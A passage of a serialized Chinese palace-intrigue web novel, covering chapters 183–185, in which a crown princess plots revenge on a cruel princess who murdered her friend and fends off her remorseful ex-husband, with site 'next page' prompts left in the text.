可是想到北宸百姓会因为抉择者的昏庸而受苦,她还是忍不住叹息一句。 “如此一来,北宸的路又怎么可能走远?” 现在,就看显王到底能不能支棱起来。 “姑娘...” “好了,我没事。” 沈慕兮回神。 心中暗暗叨念了一下范珊的去处。 好一会,终于还是决定修书一封送往丹阳。 “被傅咏絮这么一提醒,顾时的目光肯定会落在丹阳,回头你帮我捎个信出去。” “是。” 沈慕兮很快就把自己想要交代事情写在信件上。 在夏蝉遣人送出信件回来以后,她还是忍不住问夏蝉,“贺鸿还没回来吗?” 都已经大半天了。 按照以往,让他打听周边的什么消息,不出一个时辰,就可以将所有前因后果都捋清楚。 这次,明显不对劲。 夏蝉的脸上同样带了些许担忧。 “尚未。” ... 当夜,一匹快马迅速离开京都。 很快被另外一个追上去的人拦截了。 那人抢了信件后,将送信的人抹了脖子。 染着血迹的信笺,很快送到了顾时的书案前。 看着熟悉的自己,顾时感觉自己连呼吸都要凝固了。 若是说,世上两人,有模样相似的巧合。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!那么这字迹,是无论如何都不能作假的。 顾时甚至还能感觉到自己浊重的呼吸。 连带抽出信笺的手都在发抖。 等看清了信中熟悉的字迹以及信中内容。 他内心的狂喜,更是直窜天灵盖。 “没死...筱筱没死...” 顾时的眼眶发红,一时之间,竟不知要做如何反应。 王英被唤进书房的时候,就看到了顾时还未褪去的激动神色。 “你再去丹阳跑一趟,这一趟,务必安然地将人带回来。” 王英一脸茫然,“王爷,你在说什么?” 顾时激动地轻轻拭去眼底泪花,“筱筱,我的筱筱没死...” 他心中,甚至有一种希冀,木兰山断崖下的女尸,不是沈慕兮。 而那个所谓是故人之妹的太子妃,也不仅仅只是故人之妹,而是故人。 没想到,上天真的听到他的祷告。 筱筱还在。 那么,按照南渊太子妃的所作所为以及态度,几乎已经有九成几率可以确定,那根本就是慕慕。 想到有机会与沈慕兮破镜重圆。 顾时更是直接红了眼眶,喃喃自语,“没事...没事就好,之前她耍小性子骗我的事情,我可以全部既往不咎...” 王英看到顾时这副患得患失的模样,忍不住心疼起来。 到底也是曾经意气风发的王爷啊。 什么时候开始,他竟变得如此卑微? “王爷,咱们清醒一点,夫人跟小小姐已经没了。” 他干巴巴地劝说。 有些话,真的不是只是劝说几句就可以了。 自从陈十六因为错手在不对的场合拔了刀吓到王爷被王爷处死了以后,王爷手上能用的,似乎就只有他了。 他感念王爷的知遇之恩,对王爷的安排本应该万死不辞。 可也不是这么个不理智的不辞法。 顾时却像是完全没有听到他的话似的,横眉瞪了他一眼,“还不快去?” 王英终究还是不敢再多说其它。 ... 因为担忧范珊安危,沈慕兮一夜辗转反侧。 直到天边泛起鱼肚白。 她才堪堪闭眼眯了一会。 还未熟睡,就被夏蝉叫醒了。 “小姐,贺鸿回来了。” 沈慕兮睡得迷迷糊糊,只听到贺鸿回来了,就想尽快见贺鸿,好确认范珊的安危。 全然忽略了夏蝉的鼻头跟眼睛都带着红。 屋外。 清晨的湿润空气带着血腥味扑鼻而来。 沈慕兮顿时睡意全无。 贺鸿右手手臂有一条深可见骨的刀痕。 脸色煞白。 在看到沈慕兮的时候,他更是直直跪倒在地。 “属下有负姑娘嘱托...” 一般而言。 贺鸿作为慕容景衍身边的侍卫。 往日基本都是泰山崩于眼前而面不改色。 能够让他这般失态... 沈慕兮简直连想都不敢想下去... “如何?” 周围如同虚像,沈慕兮甚至不知道自己这两个干涩的字眼是如何从喉咙里挤出来的。 “属下去晚了。” 贺鸿自责的声音如同万钧雷霆落入她的耳中。 轰得她的脑子一片空白。 双拳紧紧攥起,沈慕兮好一会才找回自己的理智,“这到底是怎么回事?” “是二公主。” 贺鸿维持自己跪在地上的姿势一动不动,“属下是在乱葬岗找到了范姑娘的遗体,赶马车的暗卫亦在保护范姑娘的时候身受重伤改行,被属下找到的时候,只留了最后一口气...” 紧接着,贺鸿把今日发生的一切事情,跟沈慕兮娓娓道来。 范珊离开之后,没有耽误,直接往丹阳而去。 不成想,马车才走出十来里路,就差点被一匹失控的红鬃烈马撞上。 更没想到,那是当朝二公主的爱马。 若是寻常权贵,便是再飞扬跋扈,面对自家红鬃烈马失控撞人在先,错处无如何都寻不到受害者身上。 奈何二公主身边的饲马护卫一口咬定是他们惊扰了二公主的马。 要马车里的人出来跪下舔干净那匹马的马蹄跟马腚赔罪。 范珊脾气火爆,自然就起了争执。 被随后而来的二公主看到了。 二公主以为范珊只是一个普通的行商百姓,不由分说就让人将她拖到附近的大树下将她倒吊起来,生生剁下了她的双手,让她血尽而亡... 暗卫打扮的车夫想要反抗。 最终敌不过对方人多且甲胄精良,他很快就被抹了脖子。 只能眼睁睁地看着范珊被倒吊在树上,血尽而亡... 明明贺鸿已经在很努力让自己的语气变得冷静,可当他说这些话时候,声音还明显带了些许颤抖。 末了,他还把自己的担忧跟沈慕兮说了。 “姑娘,属下知道您现在很愤怒,但是恳切姑娘,一切以大局为重。 因为范姑娘死得凄惨,属下知道姑娘肯定会为范姑娘讨回公道。但是又担心冤枉了好人会给您跟殿下带来麻烦,所在知道真相以后,属下还夜潜了一趟公主府。 本小章还未完,请点击下一页继续阅读后面精彩内容!发现二公主府上有好几个面首,看上去甚是眼熟...还没等属下仔细回忆,就被发现了行踪...” 因此,才有了贺鸿一宿未归的事情。 贺鸿的前因后果说得详细。 可沈慕兮后面的话已经几乎完全忽略了。 此时她的脑子里,满满都是“范珊因为被她截回来而没了性命”这个念头。 周围萦绕着一股让人望而生畏的低气压,眼底更是迅速蓄满了水雾。 贺鸿跟夏蝉全身紧绷,目光紧紧锁在沈慕兮身上,随时做好沈慕兮往外冲的准备。 终于... “那个毒妇。” 沈慕兮身上气势不减,眼底水雾却被她全数隐没。 “姑娘...” 贺鸿跟夏蝉异口同声地唤了沈慕兮一声。 生怕她会因为冲动而做出无法挽回的事情。 “不用担心我。” 沈慕兮此时脸色苍白得几乎透明,颤抖的唇瓣却还是在喋喋不休,“不用担心我,我不会冲动...” 话是这么说着,她紧咬的后槽牙早已出卖了她此时的心绪。 她机械地转身,想让自己回房。 但是双腿却像是有自己的想法。 终于,在说出第三次“不会冲动”以后,她像一支离弦之箭一样冲出了行宫别苑。 “姑娘...” 夏蝉连忙追上。 沈慕兮像是不知疲惫一般,从跑出行宫别苑到跳上专属马车,几乎一气呵成。 “去荣郡王府。” 她喘着粗气吩咐车夫,眼底猩红一片,看上去甚是吓人。 夏蝉赶在车夫出门之前,也跟着跳上了马车。 作为练武之人,她的气息调整很快,在沈慕兮还在气喘吁吁的时候,她已经恢复了正常的吸纳吐气。 小声劝说,“姑娘,贺鸿今日说了,公主府的面首不妥,咱们要不等殿下回来...” “夏蝉,我心中有分寸。” 沈慕兮几乎没有犹豫地打断了夏蝉的话。 猜也猜得到夏蝉想说什么,无非就是,傅咏絮的面首,有些其他国家或者其他派别的人。 若是现在动了手,可能会影响慕容景衍的全盘计划... 可是... “贺鸿说,他已经找人将范姑娘安葬了,不如咱们先回去问问贺鸿范姑娘安葬在哪里,咱们先拜祭一下?” 夏蝉努力想要用其他事情转移沈慕兮的注意力。 沈慕兮一句也听不进去,甚至在听到夏蝉的话以后,她想要发笑—— 拜祭? 如今范珊死得凄惨且无辜。 若是不将傅咏絮的脑袋送到范珊坟前,范珊如何瞑目? 想到这里。 沈慕兮不自主地抚了一下织有精美花纹的衣袖。 在沈慕兮的要求下,马车速度极快。 很快到了荣郡王府门口。 不等外头下人通传,沈慕兮已经先行跳下马车。 “慕...太子妃?” 几乎就在同时,顾时带有惊喜的声音在她身后响起。 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第183章 拿顾时当靶子 顾时从没想到,自己在有生之年,居然还能等到沈慕兮主动找他。 看见她的那一刻,他仿佛感觉到周围的一切都盈满了色彩。 生怕她会离开。 他三步并作两步安排看门下人开门,并亲自将沈慕兮迎入荣郡王府。 王府之中的一砖一瓦似乎还是原来的样子。 本来已经死去的记忆,再次涌向沈慕兮的脑海—— 那时,她跟筱筱从丹阳第一次进京。 可是,荣郡王府的下人却以她跟筱筱身份不明为由,没有让她们走正门。 只是给她开了后门的角门进去。 以前沈慕兮不懂这些规矩,根本没有想太多。 后来才知道,第一次从角门跟着其他下人进门,那是多么侮辱人的一件事情... 明明那些事情,已经过去了一年多。 可当她重新以客人身份踏入荣郡王府的时候,却又是如此清晰... 连带那种屈辱感都萦绕在心头,挥之不去。 思忖间。 顾时已经热情将她引入客座,并让下人奉茶。 而他自己本人则坐在主位,热切地看向她。 “不知太子妃今日前来,所为何事?” 他眉目含笑。 恍惚间,沈慕兮竟有一种两人还在丹阳感情最好时候的错觉。 她迅速敛了心神,挺直腰板重新开口。 “顾大人之前提起,让我有事就找你帮忙,不知这句话,还作不作数?” 顾时顿时眼前一亮,“自然是作数的。” 他巴不得她能够对他跟以前一样。 多些依赖他... 尽管以前,她开口寻他帮忙,他都是拒绝的多。 沈慕兮眼底闪过一抹嘲弄。 在丹阳的时候,顾时都不曾这么主动干脆。 如今不过只是换了身份、换了身体,顾时却像狗一样贴上来。 这副嘴脸让人厌恶又恶心。 她故意拉长了尾音,一脸为顾时着想的样子,“顾大人先别急着给我承诺,不然回头办不到...” 生怕沈慕兮起身就走,顾时连忙开口,“不管是多困难的事情,只要是太子妃需要,顾某定会竭尽所能。” “如此,便先谢过顾大人了。”沈慕兮欢喜道谢,紧接着,一脸正色地跟顾时开口,“我想要公主府的布局图以及守卫换班情况。” 她的话一出口。 顾时本来还挂在脸上的笑容立刻僵住了。 沈慕兮笑了,“怎么?大人做不到?” “太子妃应该明白,公主府是什么地方。” 顾时神色逐渐严肃,“你要公主府的布局图以及守卫的换班情况做什么?” 沈慕兮不欲与他废话,径自起身,“想来顾大人是办不到,那今日便多叨扰了...” 一点磨蹭的机会也没有给顾时。 “等等。” 顾时连忙开口叫住了她。 沈慕兮转到一半的身子重新面向顾时,“怎么,顾大人还有事?” 似是下定了很大的决心,顾时咬牙,“我可以给你,但是,你要告诉我,你要用来做什么?” 作为礼部侍郎,顾时偶尔也需要把一些皇室的府邸修缮事项交给工部那边安排。 所以,礼部有京中许多官邸的布局草图。 而沈慕兮无缘无故开口要公主府的地图,顾时一听就觉得不正常。 他想帮她。 可也害怕出什么事情,自己会连累荣郡王府... 顾时的心里极为矛盾。 仿佛看出了顾时此时内心的挣扎,沈慕兮善解人意地朝他一笑,“想来顾大人也是为难,是我今日唐突了,顾大人不必将今日之事放在心上。” “我不是这个意思...” 顾时急切地开口解释。 不管他说什么,沈慕兮脸上一直都挂着得体的笑容,“我都明白的,怪我思虑不周,将你随口说的话当了真。” 眼看她就要离开,顾时双拳握紧,似是下定了极大的决心。 “等一下。” 沈慕兮的脚步没有停下,顾时又道,“我给你。” 迈出的步子总算停了下来。 顾时看着她的背影,满眼深情,“我不知道你要图纸有什么用,可是,只要你要,我给你便是,你稍等。” 说完,他迅速离开了前厅。 沈慕兮慢条斯理地落座。 眼底寒凉一片。 半个时辰后。 顾时拿着一幅图纸回来了。 图纸上的墨迹尚未完全干透,明显是他重新誊画。 沈慕兮不疑有他,欢喜地接过了图纸,“多谢顾大人成全。” 在接过图纸的时候,顾时还捏住了图纸的另一端,似是不愿意放手。 沈慕兮轻轻挑眉。 顾时才如梦初醒一样,松了手。 眼神黯淡地看着沈慕兮头也不回地离开。 不知道想到什么,很快,他又重新燃起了斗志。 “我不会放弃你的。” ... 马车回程路上。 夏蝉心有余悸地看着沈慕兮。 “姑娘,属下还以为您...” “你以为我会直接去找仇人报仇吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容!沈慕兮拿着散发墨香的图纸细细察看,漫不经心地开口。 夏蝉不好意思地笑了,“是。” 沈慕兮嘴角勾了勾,“我只是冲动,不是没脑子。” 她想要给范珊复仇。 可是,仇人的身份放在那里。 她若是冲动,肯定会惹来极大的麻烦,搞不好,还没复仇,就先折进去一堆人。 夏蝉不明白,“可是,姑娘若是想要公主府的布局图纸,我们也有,为何要跑荣郡王府这一趟?这不是引人注目吗?” 沈慕兮笑了,轻轻卷起图纸,“不管你实际想要做什么,总要找个挡箭牌。” 顾时。 是最好的挡箭牌。 昨日顾时跟傅咏絮可以如入无人之境的进入行宫别苑的其他地方,给了沈慕兮一个极大的警醒。 到底不是自己的地盘,做坏事之前,小心一点,总没错。 将图纸往袖中一塞,沈慕兮吩咐夏蝉,“回去之后,你让贺鸿来见我。” “是。” ... 日子悄无声息地又过去了几天。 这些天,京都一直都十分压抑。 尤其是药堂。 因着二公主得了怪病,宫中太医束手无策,连带整个京都包括京都周边的药堂,几乎人仰马翻。 公主府。 傅咏絮再次暴躁地扫掉了丫鬟端上来的药汁。 “喝喝喝,若是这种黑漆漆的东西无法让本宫痊愈,喝它又有何用?” 丫鬟大夫跪了一地。 “公主息怒...” “谁让你说话的?” 傅咏絮双目赤红,指着求饶的丫鬟大叫,“来人,将这个不知轻重的贱婢拖下去,拔了她的舌头。” 丫鬟害怕得大哭。 磕头求饶更厉害了。 “公主息怒,求公主开恩,奴婢不敢了,奴婢再也不敢了...” “人都死哪去了?还不赶紧拖下去? 把她的眼睛挖了,灌了哑药再乱棍打死,吵得本宫头疼。” 与小丫鬟跪在一处的下人纷纷咬唇不敢再吭一声。 外头听到吩咐的婆子战战兢兢地进了屋,捂了嘴将小丫鬟拖走。 屋内恢复安静。 傅咏絮靠坐在床上,腿上盖着被褥,一双眼睛红得骇人,脸上布满了黑紫相交的血丝。 细看之下,血丝却像是虫子一样蠕动,时不时还拱起一两个小包。 “你们都说本宫是中毒了,那本宫中的到底是什么毒?” 不仅身体奇痒无比,连身上的味道也一天比一天浓郁。 其中一名身穿绯色官袍的太医小心翼翼地开口,“公主所中之毒霸道又刁钻,微臣...微臣行医这些年,从没还见过。” 他话音刚落,傅咏絮毫不留情地将手边一个软枕砸向他,“庸医,废物。” 软枕之后,是各种女儿家专用的瓷瓶茶壶。 太医被砸也不敢吱声。 很快就被砸得满头鲜血。 另外一个头发花白的老大夫似乎与太医相识。 实在看不下去上了年纪的老太医被她这么糟践,哆哆嗦嗦上前求情,“求公主息怒,此毒虽说确实如关太医所言,霸道又刁钻,可也不至于全然没有办法。” 闻言,傅咏絮想要拿床头花瓶的手顿住了。 “草民曾经听闻,南渊太子妃年少之时得到南渊神医的青睐,曾是神医的药童。 在她离开神医回京之时,神医赠送了她一枚百年延寿丹作为嫁妆。 此丹药不仅能解百毒,服下丹药者,还会让身体有一次脱胎换骨的转变,鹤发变回乌丝,老叟变回少年。 妙龄女子服用,更是能从内而外的焕然一新,长生不老...” 老大夫的话一字一句,全数清晰地落入傅咏絮的耳中。 傅咏絮原先狂怒的神色逐渐收敛。 癫狂的模样也变得冷静下来。 “南渊...”她缓缓眯起眸子,似是在算计些什么。 之前被伤了脸破了相的杜鹃上前轻声提醒,“南渊太子妃眼下一直在行宫别苑,好些天没有出来过了。” 傅咏絮看了杜鹃一眼。 后者似乎对她很是关心。 她反手又是一巴掌打过去。 “看什么看?本宫的热闹也是你能看的?还不让人去将南渊太子妃找来?” 杜鹃捂脸委屈退下了。 ... 行宫别苑。 夏蝉正在凉亭中跟沈慕兮禀报消息。 “...红豆跟绿萝这几天之内应该会收到咱们的信,想来很快就能按照您的要求安排妥当,殿下那边也回来了消息,他那边一切顺利,很快就能回来,而荣郡王府跟公主府...” 不等夏蝉说完。 贺鸿来了。 “姑娘,公主府来人了,说想要请您到府上做客。” 沈慕兮一脸云淡风轻地仰首喝完手上那杯冷茶。 “走吧。” 贺鸿扯住了从自己身边经过的夏蝉。 “姑娘怎么一点都不意外自己会被‘邀请’?” 夏蝉看了一眼已经走远了的沈慕兮,“你以为,姑娘前几天让你往公主府里放的是什么东西?” 这章没有结束,请点击下一页继续阅读!想起几天前看到沈慕兮给他的盒子里装有几条黑色成人拇指大小带有鲜艳横纹且软塌塌跟鼻涕似的虫子,贺鸿连忙捂嘴,硬是把胃里翻涌的恶心感觉咽了回去。 半个时辰后。 公主府。 傅咏絮不耐烦地催促,“到底还要等多久?从行宫别苑过来的路有这么漫长吗?” 此时公主府里下跪的下人与大夫都被遣走。 屋里只剩下大宫女杜鹃以及几个随时等待吩咐的小丫鬟。 杜鹃耐着性子劝说,“公主,行宫别苑与公主府虽说距离不远,可是也不算很近,正常也要两刻钟,一来一回需要小半个时辰更是常事...” “啪——” 又是一记响亮的耳光打在了杜鹃的另外一边脸。 两个深浅不一的巴掌印挂在杜鹃的脸上,看上去让人心酸又无奈。 杜鹃瑟缩了一下,眼底冷光一闪而逝,最后还是做出了低眉顺目的样子。 不敢再吭半句。 四周安静得像是没有活物一般。 傅咏絮只觉得胸口位置压着一团火气。 怒极攻心,她眼前倏地像是蒙上了一层白雾,紧接着胸口一痛,她捂着胸口软软倒回床上。 直喘粗气。 跪在杜鹃身后的小丫鬟想要上前搀扶,却被杜鹃一个眼神阻止了。 傅咏絮还想责骂杜鹃,半张着嘴,却什么都说不出口。 沈慕兮在丫鬟的带领下,进屋就看到精美的瓷瓶碎落一地。 下人个个都噤若寒蝉。 傅咏絮则唇色惨白、双手紧紧揪住衣襟仰卧在床上喘着粗气。 她面带急色,慌忙走到傅咏絮身前,“这...公主是什么情况?” 傅咏絮反手扯住了沈慕兮的衣袖,“你,救本宫。” 语气态度,还是一如既往地强硬。 沈慕兮没有拂开她的手,而是顺着她扯她衣袖的力度坐在床边,为她号了脉。 又迅速取出随身携带的针袋,取出银针在她的十个指头都扎了孔。 伴随黑红色的血液从指尖流出,傅咏絮脸上的黑紫血丝有了明显变浅的趋势。 直到指尖鲜血不再流出。 傅咏絮胸口的疼痛才得以舒缓。 恢复精神的第一件事,就是抬手将沈慕兮推倒在地。 “你个贱民,谁允许你坐在本宫的床边用银针扎本宫的手?” 沈慕兮似是没想到她会突然发难,跌坐在地上的时候,地上的花瓶碎片,狠狠扎进了她的掌心。 鲜血染红了花瓶碎片,也染红了她的衣袖。 傅咏絮缓缓从床上重新坐起来,对沈慕兮的狼狈视若无睹,居高临下地睨着她,“听说你的嫁妆是一枚百年延寿丹,本宫命令你,立刻送给本宫。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第184章 顾大人要以什么身份质问我 命令? 送? 沈慕兮嘴角的笑意骤起又转瞬消失。 她一脸愤恨地站起来,将受伤的手递到傅咏絮面前,“二公主当真是好礼数,我好心为你行针舒缓你的痛苦,你开口就是要让我送这送那?” 杜鹃抬头怒斥,“大胆,谁允许你见到公主不下跪,还这么跟公主说话的?” 屋外的金吾卫听到屋里的动静,齐刷刷亮出兵器,将整个寝殿围了起来。 沈慕兮脸色大变。 再次看向傅咏絮。 “二公主这是什么意思?” 傅咏絮一脸得意地看向沈慕兮,“你不过只是一个南渊人,哪来的脸在我北宸的地盘跟我叫嚣?” 也许是沈慕兮刚才那几针放了血,傅咏絮如今只觉得自己的精气神一下子就上来了。 连隐隐带着痛的脏腑现在都不痛了。 从进了公主寝殿内屋就被隔绝外在面的夏蝉想要闯进去护主,却被外头的侍卫拦了下来。 “太子妃...” 因为焦急,她的声音还带了几分哭腔。 傅咏絮一下子认出了夏蝉是前几天那个敢公然抢夺她手上皮鞭的婢女。 夺走皮鞭的时候,那婢女一脸冷酷无情。 没想到今日这眼高过于顶的婢女也有焦急无措的时候。 傅咏絮的心中一阵畅快。 “不用担心,我没事。” 身前传来沈慕兮带有安抚的话,傅咏絮立刻将注意力转回她的身上。 在对上她的目光时,傅咏絮明显看到了沈慕兮眼底的坚决。 果不其然,下一刻,她干脆强硬地拒绝道,“不可能。” 她难以置信地看向沈慕兮。 “什么?” 以往在外面,其他人看到她,恨不得绕路走远。 要是被她抓住,都不敢用这种语气跟她说话。 更别说现在外头,都围满了金吾卫。 傅咏絮第一时间就是,自己听错了。 屋内丫鬟早已在沈慕兮出言拒绝傅咏絮的时候,上前将她压跪在地。 可即使被丫鬟压倒在地上,她的脸上依旧一派云淡风轻,仿佛笃定了傅咏絮不敢对她做什么。 傅咏絮甚至还能在她的眼底看到了嘲讽。 “我说,你休想,若是你真的能动我,早就在几天前对我动手了,还何至于要费劲巴拉地请我走这一趟?” “你...” 沈慕兮说对了。 傅咏絮还真因为顾忌她的身份,在行宫别苑对她做不了什么。 转眼看到在屋外担忧看向沈慕兮的夏蝉,因为恼羞成怒而变得有点扭曲的脸,再次染上一抹冷酷笑意。 “我知道你在想什么,无非就是在想你这个南渊太子妃的身份在我这里好不好使,确实,你是南渊太子妃,我不好动你,但是,处置一个刁奴的能力,我还是有的。” 说完,傅咏絮扬声朝屋外吩咐道,“将她的嘴掰开,给我绞了她的舌。” 沈慕兮当场变了脸色,“你敢?” “本宫为何不敢?” 傅咏絮好整以暇地靠坐在床上。 指尖虽然还有被放血时候的隐隐作痛。 可相比于前几天连呼吸都困难,她现在感觉自己的精神状态好极了。 甚至还能下床扬鞭策马跑几圈。 低头看到沈慕兮还跪在地上一脸不忿地看向自己,她的心里更是畅快。 朝外扬声开口,“还不将那个丫鬟拖下去?” 侍卫们知道沈慕兮的身份。 纵然傅咏絮一直在叫,他们最多也只是禁锢了夏蝉的行动,不敢轻举妄动。 傅咏絮怒上心头,刚想要再次开口。 外头一名婆子跌跌撞撞地跑了进来。 “公主,荣郡王来了。” 荣郡王? 顾时? 傅咏絮脸色微变。 “拦住他。” 前些时间顾时在朝堂被责骂的事情,她是知道的。 可是一个被流放了以后还能回来的人,定然不是省油的灯。 她只是跋扈,又不是傻。 看不起归看不起,不代表她要去惹上麻烦。 上次在行宫别苑出现跟他开出条件,也只是因为她想要趁机去看慕容景衍。 不成想,主寝院那边被护得紧密周全,她连靠近都靠近不得。 离开之时遇到了顾时跟这个南渊太子妃在说些什么,猜到顾时看上南渊太子妃,心下突然生出一计而已。 “公主,拦不住啊。” 报信婆子带着哭腔的声音拉回了傅咏絮的思绪。 下一刻,顾时的声音在外头传来。 “公主若是执意要为难南渊太子妃,本王也不怕与公主一同前往皇上面前对峙。” 这速度。 倒像是打进来的。 顾时的做法,再次刷新了傅咏絮的认知。 在傅咏絮的印象中,顾时从来都是善于隐忍。 哪怕回来以后,面对朝中各种不堪入耳的流言蜚语,都只是一笑而过。 如今他居然为了南渊太子妃,连自己的伪装都撕了下来... 傅咏絮皮笑肉不笑地看向屋外。 “荣郡王好大的派头,居然未经通传就敢来本宫这里,你就不怕本宫寻父皇治你的罪?” 这章没有结束,请点击下一页继续阅读!顾时面向皇宫的方向拱手,“皇上圣明,定能分清是非。” 换言之,即使要进宫,他今日也要将她带走。 傅咏絮披衣下床,气势汹汹走到门边与顾时对峙,“你敢?” “公主尽管试试。” 顾时后退一步,击掌。 他带来的侍卫纷纷亮出随身佩刀。 本来只是做做对峙样子的金吾卫见状,也亮出武器。 原先跟在傅咏絮身后一声不吭的沈慕兮像是害怕把事情闹大,急忙对外开口,“荣郡王爷,还望请回,公主只是让我来叙旧,并没有其他意思。” 傅咏絮意外地看了沈慕兮一眼,很快把注意力放到顾时身上。 “顾时,听到了没,我只是让她前来叙旧一番,你多此一举了。” 她一脸看好戏的模样,朝沈慕兮戏谑一笑,“易求无价宝,难得有情郎,难道南渊太子妃真的忍心让荣郡王为你伤心伤神甚至与本宫为敌?” “还望公主不要胡言乱语,本太子妃已经是太子殿下大人。” 沈慕兮似是受了极大的屈辱,怒目瞪向傅咏絮。 傅咏絮挑眉看向顾时,仿佛再说:瞧,你心心念念的南渊太子妃根本看不上你。 顾时脸上血色尽褪,目光隐忍地看向沈慕兮,似要想要劝说沈慕兮,“太子妃...” “行了,”傅咏絮摆了摆手,一脸宽宏大量地看向沈慕兮,“念在你还算是个识时务的,离开可以,只要你留下百年延寿丹。” 这一次,沈慕兮没有再否认百年延寿丹存在的事实,“那是给太子殿下服用的,不可能。” 傅咏絮冷笑,“敬酒不吃吃罚酒。” 顾时上前一步,语气带着警告,“公主。” “顾时,”傅咏絮语带要挟地笑道,“你今日护得住她一时,本宫若是下次要让她来,你确定你还能护得住她?” 顾时双手紧紧攥成拳头。 似是在做什么艰难决定。 好一会,才重新看向沈慕兮,眼底带着祈求,“太子妃,也许公主真的需要那一枚百年延寿丹,不如...” “不可能。” 沈慕兮想也不想就拒绝了。 “那就没什么好说的了。” 傅咏絮板起脸,“将那个丫鬟拖下去,乱棍打死。” 沈慕兮着急上前想要拉住夏蝉,被金吾卫挡住了。 她着急地看向傅咏絮,“公主,这是我的人。” “本宫想要留住的人,还没有留不住的。” 她的态度强硬。 眼看金吾卫就要抓住夏蝉拖下去。 沈慕兮急了,“等一下。” 金吾卫停了下来。 傅咏絮怒喝,“她让你们等你们就等?都是干什么吃的?” “我要是把百年延寿丹给你,你是不是就会把夏蝉放了。”沈慕兮红着眼眶,显然十分心疼夏蝉。 傅咏絮似笑非笑地挑眉,“我怎么知道你给的就是真的延寿丹呢?” 对她来说,现在主动权在她手上。 只要她不允许,沈慕兮不仅要给延寿丹,连她的侍女都得折在这里。 “这些天,公主殿下这里应该都有大夫或者太医,是不是延寿丹,只要是看过<君族古籍>上的老方应该都知道。” 沈慕兮极力隐忍心中慌张,努力向傅咏絮自证。 傅咏絮将信将疑地看向她。 杜鹃立刻朝距离她最近的侍卫吩咐道,“将最近在府上暂住的几位大夫以及太医请过来。” 不多时。 两位须发斑白的老大夫跟宫里的另外一位太医被带了过来。 沈慕兮从贴身香囊里取出一个指头大的小锦盒,打开。 清苦带着几分回甘的浓郁药香味迅速盈满了房间。 几个大夫跟太医立刻围了上去。 其中一个老大夫,更是因为激动而涨红了脸。 “似苦回甘,如甘带苦,如有中无,如无中有,这是...” 另外一个老大夫同样激动得红了眼眶,“老朽曾经在年轻时候有机会遇见云游的卜神医,有幸看过卜神医用百年延寿丹救过一名因身中剧毒而咽了气的樵夫。 没想到,在有生之年,竟还能见到神药,上天待我不薄,不薄啊...” 而宫里出来的太医,看到两位大夫如此激动,自己也忍不住凑到沈慕兮身前。 “没想到...这百年延寿丹竟真的存在。” 他目光灼灼地看向沈慕兮手上的那枚蜡丸,“不知太子妃,可否分微臣一点,好让微臣带回去太医院好好研究一番?” 傅咏絮立刻出声阻止,“你们做什么?看这延寿丹的时候,经过本宫允许了吗?” 听到她的声音。 几个大夫像是大梦初醒一般,脸上血色尽褪。 沈慕兮这才将蜡丸递到傅咏絮面前。 傅咏絮悄悄深呼吸了一口,只觉得药味更加浓郁了。 也不知道是不是自己的错觉,在延寿丹靠近自己以后,她感觉自己的精神状态一下子变得好了许多。 “公主可愿说话算话?”沈慕兮的目光一瞬不瞬地看向傅咏絮。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!傅咏絮刚想出言嘲讽,又听到沈慕兮继续说道,“我知道公主现在不仅需要我的延寿丹,还打了让我回不去的主意。 可是,这枚丹药用法用量都极为讲究,如果没有我的方法,随时延寿丹变索命丸。” 傅咏絮不顾蜡丸上还沾了沈慕兮的血,将蜡丸收入自己袖袋。 “到了本宫手上的东西,自然没有让你讨回去的道理。” 若是沈慕兮只是一个平民或者高官的女儿,她或者还能直接强制让她跟她的侍女永远留在二公主府做花肥。 可偏偏她是南渊太子妃。 还多了一个顾时出来搅局。 纵然心有不甘,傅咏絮也只能让沈慕兮带着夏蝉离开。 才刚踏出公主府。 沈慕兮就被顾时一把拖着往暗巷而去。 夏蝉想要跟上,被顾时带去的侍卫拦下了。 暗巷中。 顾时将沈慕兮困在角落,自己欺身而上。 昏暗的巷子里,混杂着各种奇奇怪怪的味道。 顾时靠近自己的时候,身上的檀木冷香格外清晰。 带着他身上的热意。 在炎炎夏日之中,让沈慕兮格外烦躁。 她想走。 顾时却亦步亦趋地拦住了她的去路。 “你到底想要如何?” 顾时一脸紧张地看着她,“你知不知道,今日我若是不能及时赶到,你就要血溅当场了。” “那也是我的事情,我是南渊太子妃,顾大人要以什么身份质问我?” 沈慕兮的声音拔高了些。 语气激动。 顾时像是一下子被击中了一样。 本来紧绷的肌肉,一下子像是被抽走了所有的精气神。 整个人看上去笼罩着一层颓丧的气息。 “我...” “顾时,你若是想要好好弥补,你就不应该来对我纠缠不休。” 沈慕兮毫不留情地打断了他所谓的深情告白。 顾时更加激动了,“说到底,你还是不肯原谅我,我只是犯了一个大部分男人都会犯的错误,你怎么就不能原谅我了?” 况且,你跟筱筱,现在不都还是好好的吗? 后面的那句话,顾时没有当着沈慕兮的面说出来。 他还是害怕沈慕兮会因为过去的事情对他耿耿于怀。 可事实证明。 即使他没说出那些话,沈慕兮也不打算给他再多独处的时间。 “这些话,你留着到地狱以后,跟鬼去说吧。” 话音刚落。 一阵异香扑鼻。 顾时浑身发软倒在地上,连睁大眼睛看着沈慕兮走远的力气都没有。 失去意识前,他满脑子都是—— 她有软筋散,说明她可以在公主府自保。 那为什么她还要在二公主面前这么窝囊? 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第185章 要抬昏迷的慕容景衍进宫 与顾时同样好奇的,还有夏蝉。 “姑娘若是想要让二公主吃些苦头,让人下了毒就好,为何要自己亲自跑这一趟?” 沈慕兮正在闭目养神。 听到夏蝉的话,她缓缓睁开了眼睛,眼底冷光骤显。 “若只是病死在府上,皇上肯定会细查。” 倒不如,直接让她死在皇帝眼皮子底下。 后面的话,沈慕兮没说出口。 夏蝉也不明白沈慕兮葫芦里到底要卖什么药。 不敢再多问其他。 ... 今日在公主府发生的事情,很快传到宫中。 沈慕兮被请进去养心殿的时候。 已是未时末。 裴望才刚把整理好的卷宗递到御书案前。 北宸帝傅元怀轻轻咳嗽了几声,喝了一口内侍递上来的参茶才缓缓开口。 “荣郡王这些天,似乎格外关心南渊的来使,裴卿家怎么看?” 